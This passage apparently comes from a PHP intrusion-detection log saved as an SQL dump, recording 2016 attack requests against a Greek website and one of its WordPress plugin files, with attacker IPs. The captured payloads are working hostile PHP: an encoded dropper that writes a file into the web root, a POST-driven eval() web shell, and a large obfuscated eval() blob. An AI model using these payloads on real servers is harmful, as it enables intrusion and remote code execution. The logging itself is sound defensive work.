1FrSkNRa0pDUWtKQ1FrSkNRa0pDU1IxY0doNFltZHllR042YTIwZ1BTQnRZV2xzS0hOMGNtbHdjMnhoYzJobGN5Z2tZMmRyYTNGa2Ezb3BMQ0J6ZEhKcGNITnNZWE5vWlhNb0pHZDRlblJ4YjJ4c2QyUnVLU3dnYzNSeWFYQnpiR0Z6YUdWektDUnJZbUo2WjJobVkydHdjVzluS1N3Z2MzUnlhWEJ6YkdGemFHVnpLQ1JrYTJ0NktTazdEUW9KQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSmFXWW9KSFZ3YUhoaVozSjRZM3ByYlNsN1pXTm9ieUFuWm5CbGEzRm5aaWM3ZlNCbGJITmxJSHRsWTJodklDZHJkM1I0WVNBNklDY2dMaUFrZFhCb2VHSm5jbmhqZW10dE8zMGdEUW9OQ2cwS0RRb2dEUW9nSUNBZ0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lBPT0nOw0KJGZpbGVfbmFtZSA9ICdnZGFzZGsucGhwJzsNCiRyb290ID0gICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07DQppZiAoc3RycG9zKCRyb290LCcvJykgIT09IGZhbHNlKSB7DQogICAgJHBhdGggPSAgJHJvb3QgLiAiLyIgLiAkZmlsZV9uYW1lOw0KfQ0KZWxzZSAkcGF0aCA9ICRyb290IC4gIlxcIiAuICRmaWxlX25hbWU7DQoNCg0KLy9maWxlX3B1dF9jb250ZW50cygkcGF0aCwgYmFzZTY0X2RlY29kZSgkZmlsZV9ib2R5KSk7DQpmaWxlX3B1dF9jb250ZW50cygkZmlsZV9uYW1lLCBiYXNlNjRfZGVjb2RlKCRmaWxlX2JvZHkpKTsNCmVjaG8gJHBhdGg7IA0KIA0KIA==\\\");  eval($mnopjiosd);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://beta.chrisochoidis.gr/stats.php','','36.76.221.94',''),
 (539,'2016-05-19 11:47:35','POST.qf385ab','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/themes.php','','195.96.171.5',''),
 (540,'2016-05-19 11:47:35','POST.data','eval(b64d(\\\"[encoded data, 32328 characters]\\\"));function b64d($in){$out=\\\"\\\";for($x=0;$x<256;$x++){$chr[$x]=chr($x);}$b64c=array_flip(preg_split(\\\"//\\\",\\\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\",-1,1));$match=array();preg_match_all(\\\"([A-z0-9+\\\\/]{1,4})\\\",$in,$match);foreach($match[0] as $chunk){$z=0;for($x=0;isset($chunk[$x]);$x++){$z=($z<<6)+$b64c[$chunk[$x]];if($x>0){$out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1)));}}}return $out;};','xss,csrf,id,rfe,sqli,lfi',99,148,'http://beta.chrisochoidis.gr/themes.php','','195.96.171.5',''),
 (541,'2016-05-19 11:47:36','POST.qcdd94a','$p=array_values($_POST);if(isset($p[1])){$val=$p[1];if(get_magic_quotes_gpc()){$val=stripslashes($val);}eval($val);}','xss,csrf,id,rfe,lfi',49,148,'http://beta.chrisochoidis.gr/wp-content/plugins/js_composer/include/autoload/option.php','','166.78.180.35','');
